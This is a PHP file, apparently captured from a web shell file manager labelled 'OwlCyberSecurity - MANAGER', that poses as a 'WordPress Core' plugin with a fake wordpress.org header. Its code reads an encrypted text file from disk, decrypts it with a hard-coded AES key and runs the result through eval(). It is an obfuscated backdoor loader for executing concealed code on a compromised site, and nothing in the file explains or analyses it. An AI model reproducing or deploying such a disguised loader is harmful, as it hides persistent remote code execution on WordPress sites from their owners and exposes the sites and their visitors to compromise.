OwlCyberSecurity - MANAGER
Edit File: include.php
<?php /** * @package Wordpress_Core * @version 1.7.3 */ /* Plugin Name: WordPress Core Plugin URI: https://wordpress.org/plugins/ Description: This is core plugin for managment WordPress. Version: 1.7.3 Author URI: https://wordpress.org/ */ class UnsafeCrypto { const METHOD = 'aes-256-ctr'; /** * Decrypts (but does not verify) a message * * @param string $message - ciphertext message * @param string $key - encryption key (raw binary expected) * @param boolean $encoded - are we expecting an encoded string? * @return string */ public static function decrypt($message, $key, $encoded = false) { if ($encoded) { $message = base64_decode($message, true); if ($message === false) { throw new Exception('Encryption failure'); } } $nonceSize = openssl_cipher_iv_length(self::METHOD); $nonce = mb_substr($message, 0, $nonceSize, '8bit'); $ciphertext = mb_substr($message, $nonceSize, null, '8bit'); $plaintext = openssl_decrypt( $ciphertext, self::METHOD, $key, OPENSSL_RAW_DATA, $nonce ); return $plaintext; } } $key = hex2bin('ae4ba8af6555ce46ec70cfeee1ccb58bf6bc9bca91b8293bb3a433f59480a5f6'); $text = file_get_contents("./ajnctbilnv.txt"); $decrypted = UnsafeCrypto::decrypt($text, $key, true); eval($decrypted); ?>